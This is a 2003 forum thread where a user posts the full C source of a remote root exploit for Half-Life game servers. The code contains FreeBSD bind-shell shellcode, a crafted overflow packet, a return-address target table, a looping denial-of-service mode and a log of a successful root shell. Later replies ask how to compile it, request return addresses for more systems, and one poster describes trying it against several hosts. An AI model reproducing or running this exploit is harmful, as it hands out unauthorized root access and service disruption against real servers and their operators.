Exploit Half Life

rocco60

Aug 27 2003, 12:17 PM

hk-vig and wsxz (priv8security.com) published a high risk confidential remote root exploit (if running by root) against Halflife <= 1.1.1.0 (including all mods like CS, DoD) and dedicated server 3.1.1.1c1/4.1.1.1a. Exploitation successfully tested on FreeBSD.This code is based upon the recent halflife exploit but it is not a DoS. Instead this exploit provides you a nice shell to the vulnerable host.

CODE

//
// PRIV8 SECURITY & UHAGr CONFIDENTIAL SOURCE - DO NOT DISTRIBUTE !!!
// Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit
// Code by hkvig of UHAGr and wsxz of Priv8 Security
//
// This code is based upon the recent halflife exploit but it is
// not a dos. Instead this exploit provides you a nice shell to
// the vulnerable host
//
//
// LOGS OF SUCCESSFUL EXPLOITATION
//
// [wsxz@localhost xdcc]$ ./hl 0 192.168.0.4
//
//
// PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!!
// Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit
// Code by hkvig of UHAGr and wsxz of Priv8 Security
// Greetings to #priv8security & #!uhagr people
//
// [+] Looking up host ip addr
// [+] Establishing virtual udp connection
// [+] Getting server info
// [+] Server protocol 0x2e
// Players 0
// Proxy 0
// Lan 0
// Nplayers 0x10
// Directory cstrike
// Description CounterStrike
// Host Counter-Strike 1.5 Server
// Type 0
// Pass 0
// Os 0
// Security 0x1
// [+] Getting server challenge integer
// Server challenge is 280135011
// [+] Exploiting halflife server
// [+] Connecting to our shell
// Linux freebsd.rlz 2.4.2 FreeBSD 5.1-RELEASE #0: Thu Jun 5 02:55:42 GMT 2003
// root@wv i386 unknown
// uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
//
//
// Greetings fly to
// - The rest UHAGr and Priv8 Security people
// - CCC
// - All of our friends to any net
//
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/sockios.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

#define LOCAL_PORT ( getuid() + getpid() + rand())
#define DEST_PORT 27015
#define BUFFER_SIZE 4096
#define DELAY 20
#define INIT "echo; echo; uname -a; id; who; echo; echo;\n"

// The packet layout for a bsd host
#define PAYLOAD "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" \
"\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1" \
"\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04" \
"\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66" \
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6" \
"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
"\x89\xe1\xb0\x0b\xcd\x80" \
"\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62" \
\
"\x42\x42\x42\x42"

#define NAME "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
"\x90\x90\x90\xeb\x08"

#define BUFFER "\xff\xff\xff\xff" \
"connect %d" \
" %s \"" \
"\\prot\\2" \
"\\unique\\-1" \
"\\raw\\%08lx%08lx%08lx%08lx" \
"\" \"" \
"\\model\\robo" \
"\\topcolor\\25" \
"\\bottomcolor\\161" \
"\\rate\\9999.000000" \
"\\cl_updaterate\\20" \
"\\cl_lw\\1" \
"\\cl_lc\\1" \
"\\cl_dlmax\\128" \
"\\hud_classautokill\\1" \
"\\name\\" NAME \
"\\" PAYLOAD "\\value" \
"\"\n"

// The structure that holds the server info needed for the exploitation
struct serverinfo
{
unsigned int protocol; // Protocol version
unsigned int players; // Current players
unsigned int proxytarget; // Proxy
unsigned int lan; // Lan
unsigned int nplayers; // Players
char *directory; // Current directory
char *description; // Server description
char *host; // Hosts alias
char *challenge; // Challenge integer
unsigned int type; // Server type
unsigned int pass; // Server pass
unsigned int os; // Os
unsigned int security; // Security
} server;

// The structure that contains the targets
struct target
{
unsigned int id;
const char *description;
unsigned long int retaddr;
}
targets[] =
{
{ 0 , "Freebsd 5.1" , 0xbfbfe398 } ,

{ 1 , "DoS attack to every OS" , 0x41414141 } ,

{ 2 , NULL , 0 }
};

// This function lists the available targets
void list( void )
{
int loop = 0;

fprintf( stdout , "\n\nAvailable targets\n" );
while( targets[loop].description != NULL )
{
fprintf( stdout , "\t%d\t%s\n" , targets[loop].id , targets[loop].description );
loop++;
}
fprintf( stdout , "\n\n" );

return;
}

// This function is responsible for the proper error reporting and
// error code returning
void do_exit( const char *str , const char *file , unsigned int line )
{
fprintf( stdout , "\n" );
if( file != NULL && line != 0 )
fprintf( stdout , "Error at %s at line %d\n" , file , line );

if( str != NULL )
perror( str );

exit( -errno );
}

// A safer version of the standard strtok() function
char *strtokerr( char *str , const char *del )
{
char *ptr;

if(( ptr = strtok( str , del )) == NULL )
{
fprintf( stdout , "Error at %s at line %d\n" , __FILE__ , __LINE__ );
fprintf( stdout , "strtokerr(): strtok(): No such token\n" );
do_exit( NULL , NULL , 0 );
}

return ptr;
}

// This function is responsible for looking the ip addr of the target host
unsigned long int lookup_host( char *host )
{
struct in_addr r_host;
struct hostent *ip;

if( !isdigit( *host ))
{
if(( ip = gethostbyname( host )) == NULL )
do_exit( "lookup_host(): gethostbyname()" , __FILE__ , __LINE__ );

bzero( &r_host , sizeof( struct in_addr ));
r_host = *(( struct in_addr *)ip->h_addr );
return r_host.s_addr;
}

if( isdigit( *host ))
return inet_addr( host );

return -1;
}

// This function establishes a virtual udp connection to the target
// host so that send() can be used instead of sendto()
int udp_connect( unsigned long int addr , unsigned int port )
{
int fd;
struct sockaddr_in host;
struct in_addr n_addr = *(( struct in_addr *)&addr );

if(( fd = socket( PF_INET , SOCK_DGRAM , IPPROTO_UDP )) == -1 )
do_exit( "udp_connect(): socket()" , __FILE__ , __LINE__ );

host.sin_family = AF_INET;
host.sin_addr.s_addr = INADDR_ANY;
host.sin_port = htons( LOCAL_PORT );
if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
do_exit( "udp_connect(): bind()" , __FILE__ , __LINE__ );

bzero( &host , sizeof( struct sockaddr_in ));
host.sin_family = AF_INET;
host.sin_addr = n_addr;
host.sin_port = htons( port );
if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
do_exit( "udp_connect(): connect()" , __FILE__ , __LINE__ );

return fd;
}

// This is the standard tcp connection in just one function
int tcp_connect( unsigned long int addr , int port )
{
struct sockaddr_in host;
int fd;

if(( fd = socket( PF_INET , SOCK_STREAM , IPPROTO_TCP )) == -1 )
do_exit( "tcp_connect(): socket()" , __FILE__ , __LINE__ );

host.sin_family = AF_INET;
host.sin_addr.s_addr = INADDR_ANY;
host.sin_port = htons( LOCAL_PORT );

if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
do_exit( "tcp_connect(): bind()" , __FILE__ , __LINE__ );

bzero( &host , sizeof( struct sockaddr_in ));
host.sin_family = AF_INET;
host.sin_addr.s_addr = addr;
host.sin_port = htons( port );

if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
do_exit( "tcp_connect(): connect()" , __FILE__ , __LINE__ );

return fd;
}

// The standard function for controlling the shell
int shell( int fd )
{
int bytes;
char buffer[2048];
fd_set descr;
struct timeval time = { 2 , 0 };

while( 1 )
{
FD_ZERO( &descr );
FD_SET( fd , &descr );
FD_SET( 0 , &descr );
select( fd + 1 , &descr , NULL , NULL , NULL );

if( FD_ISSET( fd , &descr ))
{
bzero( buffer , sizeof( buffer ));
if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
{
fprintf( stdout , "[-] Connection closed by foreign host\n" );
do_exit( "shell(): read()" , __FILE__ , __LINE__ );
}
buffer[bytes] = '\0';
fputs( buffer , stdout );
}

if( FD_ISSET( 0 , &descr ))
{
bzero( buffer , sizeof( buffer ));
if(( bytes = read( 0 , buffer , sizeof( buffer ))) == -1 )
do_exit( "shell(): read()" , __FILE__ , __LINE__ );
buffer[bytes] = '\0';
send( fd , buffer , strlen( buffer ) , 0 );
}
}

return 0;
}

// This function gets the server info needed for the exploitation and checks
// if the host is vulnerable
int server_info( int fd )
{
char infostr[] = "\xff\xff\xff\xffinfostring\n\0";
char buffer[BUFFER_SIZE];
char *ptr;
int loop , bytes;

bzero( buffer , sizeof( buffer ));

if(( send( fd , infostr , sizeof( infostr ) - 1 , 0 )) == -1 )
do_exit( "server_info(): send()" , __FILE__ , __LINE__ );

if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
do_exit( "server_info(): read()" , __FILE__ , __LINE__ );

for( loop = 0; loop < bytes; loop++ )
if( buffer[loop] == '\0' ) buffer[loop] = 0x41;

if(( ptr = strstr( buffer , "protocol" )) == NULL )
{
fprintf( stdout , "[-] No protocol info into server response\n" );
do_exit( NULL , NULL , 0 );
}

ptr = strtokerr( buffer , "\\" ); // Ignoring response
ptr = strtokerr( NULL , "\\" ); // Protocol version
server.protocol = atoi( strtokerr( NULL , "\\" ));

ptr = strtokerr( NULL , "\\" ); // Address
ptr = strtokerr( NULL , "\\" ); // Ip address and port

ptr = strtokerr( NULL , "\\" ); // Players
server.players = atoi( strtokerr( NULL , "\\" )); // Current players

ptr = strtokerr( NULL , "\\" ); // Proxytarget
server.proxytarget = atoi( strtokerr( NULL , "\\" )); // Proxytarget value

ptr = strtokerr( NULL , "\\" ); // Lan
server.lan = atoi( strtokerr( NULL , "\\" )); // Lan value

ptr = strtokerr( NULL , "\\" ); // Max players
server.nplayers = atoi( strtokerr( NULL , "\\" )); // Max players

ptr = strtokerr( NULL , "\\" ); // Directory
server.directory = strtokerr( NULL , "\\" ); // Directory string

ptr = strtokerr( NULL , "\\" ); // Description
server.description = strtokerr( NULL , "\\" ); // Description string

ptr = strtokerr( NULL , "\\" ); // Host
server.host = strtokerr( NULL , "\\" ); // Host string

ptr = strtokerr( NULL , "\\" ); // Map
ptr = strtokerr( NULL , "\\" ); // Map string

ptr = strtokerr( NULL , "\\" ); // Type
server.type = atoi( strtokerr( NULL , "\\" )); // Type value

ptr = strtokerr( NULL , "\\" ); // Pass
server.pass = atoi( strtokerr( NULL , "\\" )); // Pass value

ptr = strtokerr( NULL , "\\" ); // Os
server.os = atoi( strtokerr( NULL , "\\" )); // Os value

ptr = strtokerr( NULL , "\\" ); // Security
server.security = atoi( strtokerr( NULL , "\\" )); // Security value

return 0;
}

// This function is responsible for getting the server's challenge in order
// to be used later into the exploitation udp packet
int server_challenge( int fd )
{
char challstr[] = "\xff\xff\xff\xffgetchallenge\n\0";
char buffer[BUFFER_SIZE];

bzero( buffer , sizeof( buffer ));

if(( send( fd , challstr , sizeof( challstr ) - 1 , 0 )) == -1 )
do_exit( "server_challenge(): send()" , __FILE__ , __LINE__ );

if(( read( fd , buffer , sizeof( buffer ))) == -1 )
do_exit( "server_challenge(): read()" , __FILE__ , __LINE__ );

strtokerr( buffer , " " );
server.challenge = strtokerr( NULL , " " );
return 0;
}

// This function is responsible for exploiting a bsd host
int do_bof_bsd( int fd , struct target targ , unsigned long int offset )
{
char *exploit , *ptr;
int len;

targ.retaddr -= offset;

if(( exploit = ( char *)malloc( BUFFER_SIZE )) == NULL )
do_exit( "do_bof(): malloc()" , __FILE__ , __LINE__ );
bzero( exploit , BUFFER_SIZE );

len = snprintf( exploit , sizeof( BUFFER ) + 64 , BUFFER , server.protocol , server.challenge ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ));

ptr = strstr( exploit , "BBBB" );
*( unsigned long int *)ptr = targ.retaddr;

// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;
// ptr += 4;
// *( unsigned long int *)ptr = targ.retaddr;

if(( send( fd , exploit , len , 0 )) == -1 )
do_exit( "do_bof(): send()" , __FILE__ , __LINE__ );

return 0;
}

// This function launches a dos attack against the vulnerable server
int do_dos( int fd , unsigned int delay )
{
int len;
char *dos , buff[268];

if(( dos = ( char *)malloc( BUFFER_SIZE )) == NULL )
do_exit( "do_dos(): malloc()" , __FILE__ , __LINE__ );

bzero( dos , BUFFER_SIZE );
bzero( buff , sizeof( buff ));

memset( buff , 0x41 , sizeof( buff ));

len = snprintf( dos , BUFFER_SIZE ,
"\xff\xff\xff\xff"
"connect %d"
" %s \""
"\\prot\\2"
"\\unique\\-1"
"\\raw\\%08lx%08lx%08lx%08lx"
"\" \""
"\\model\\%s"
"\\topcolor\\25"
"\\bottomcolor\\161"
"\\rate\\9999.000000"
"\\cl_updaterate\\20"
"\\cl_lw\\1"
"\\cl_lc\\1"
"\\cl_dlmax\\128"
"\\hud_classautokill\\1"
"\\name\\Bugtest"
"\"\n" ,
server.protocol , server.challenge ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
buff );

while( 1 )
{
if(( send( fd , dos , len , 0 )) == -1 )
do_exit( "do_dos(): send()" , __FILE__ , __LINE__ );

fprintf( stdout , "[+] DoS packet sent\n" );
sleep( delay );
}

return 0;
}

int main( int argc , char *argv[] )
{
unsigned long int addr;
long int offset;
int fd , usrtarg , port;

fprintf( stdout , " \n\n"
"PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!! \n"
"Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit \n"
"Code by hkvig of UHAGr and wsxz of Priv8 Security \n"
"Greetings to #priv8security & #!uhagr people \n\n" );

if( argc != 4 && argc != 5 )
{
fprintf( stdout , "Usage: %s <Target id> <Host> <Offset> [<Server port>]\n\n"
"Set offset to 0 if you don't like to use an offset\n\n" , argv[0] );
list();
return 0;
}

if( argc == 5 )
{
port = atoi( argv[4] );
fprintf( stdout , "[+] Using port %d\n" , port );
}
else
port = DEST_PORT;

usrtarg = atoi( argv[1] );
if( usrtarg >= sizeof( targets ) / sizeof( struct target ) - 1 )
{
fprintf( stdout , "[-] No such target in target list\n" );
do_exit( NULL , NULL , 0 );
}

offset = atoi( argv[3] );
fprintf( stdout , "[+] Using offset %#x + %#x\n" , targets[usrtarg].retaddr , offset );

bzero( &server , sizeof( struct serverinfo ));

fprintf( stdout , "[+] Looking up host ip addr\n" );
addr = lookup_host( argv[2] );
sleep( 1 );

fprintf( stdout , "[+] Establishing virtual udp connection\n" );
fd = udp_connect( addr , port );
sleep( 1 );

fprintf( stdout , "[+] Getting server info\n" );
server_info( fd );
sleep( 1 );

fprintf( stdout , "[+] Server protocol %#x\n"
" Players %#x\n"
" Proxy %#x\n"
" Lan %#x\n"
" Nplayers %#x\n"
" Directory %s \n"
" Description %s \n"
" Host %s \n"
" Type %#x\n"
" Pass %#x\n"
" Os %#x\n"
" Security %#x\n" ,
server.protocol ,
server.players ,
server.proxytarget ,
server.lan ,
server.nplayers ,
server.directory ,
server.description ,
server.host ,
server.type ,
server.pass ,
server.os ,
server.security );

sleep( 1 );
fprintf( stdout , "[+] Getting server challenge integer\n" );
server_challenge( fd );

fprintf( stdout , " Server challenge is %s\n" , server.challenge );
sleep( 1 );

if( usrtarg == ( sizeof( targets ) / sizeof( struct target )) - 2 )
{
fprintf( stdout , "[+] Starting DoS attack - Ctrl+C to stop\n" );
do_dos( fd , DELAY );
}
else // Real exploitation
{
fprintf( stdout , "[+] Exploiting halflife server\n" );
do_bof_bsd( fd , targets[usrtarg] , offset );

sleep( 1 );
close( fd );

sleep( 3 );
fprintf( stdout , "[+] Connecting to our shell\n" );
fd = tcp_connect( addr , 5074 );

send( fd , INIT , sizeof( INIT ) , 0 );
shell( fd );
}

close( fd );
return 0;
}

[SIZE=7]code file please thx[/SIZE=7]

maZer`-

Aug 27 2003, 10:17 PM

Hey m8 I love u!!!

Big thx!

mech

Aug 28 2003, 01:02 AM

Just realized its in the file downloads section compiled. Thanks for the code:)

fUSiON

Aug 28 2003, 02:49 AM

is this working for RedHat 9.0 too ?,
Sorry for this noob question..

how to compile it ? gcc /home/user/file ??

Thx

spoilt_jesus

Sep 4 2003, 01:33 AM

Dear fUSiON,
this exploit only spawns a shell on fbsd 5.1 (you can DoS any OS) but you can add as many targets as you want ;]
there is a newer version of this code that includes targets for most of the linux distros.
that's all
thnx

www.UHAGr.org

Yorn

Sep 5 2003, 06:57 AM

QUOTE

there is a newer version of this code that includes targets for most of the linux distros.

Till there is one that spawns remote shell on XP or 2000 this exploit is basically dead in the water.

spoilt_jesus

Sep 5 2003, 01:59 PM

Dear Yorn,
i think the code for win is only for hl client not the server...
nevermind i'm not sure.i only know for the code that we coded..
cu

Yorn

Sep 7 2003, 10:00 AM

QUOTE (spoilt_jesus @ Sep 5 2003, 01:59 PM)

Dear Yorn,
i think the code for win is only for hl client not the server...
nevermind i'm not sure.i only know for the code that we coded..
cu

looks like it does a buffer overflow, right? Maybe I'm looking at it wrong.

If only FreeBSD and *nix OSs are exploitable, that'd be kind of odd. Usually with these kinds of thing you just need a different kind of payload to get an NT or 2000 machine to buckle and drop shell.

Maybe I'm wrong though.

p3nGu1n

Sep 7 2003, 03:11 PM

This exploit wont work for me. The dos doesn't do anything at all and most of the time the number to gain cmd crashes the server. I get
Error at half-life.c at line 284
tcp_connect(): connect(): Connection refused

Does this mean that my server is secure? I even tried it on freebsd.

Divx_dude

Sep 7 2003, 03:26 PM

whats the meaning of this exploit?

azazel

Sep 9 2003, 05:09 AM

QUOTE (Divx_dude @ Sep 7 2003, 03:26 PM)

whats the meaning of this exploit?

Well posibilities are endless once you successfully gain root on the box.. I havent been able to get a shell yet.. but im working on several hosts..

btw.. if anyone knows the ret addresses for other unix versions.. I'd really appreciate it..

Regards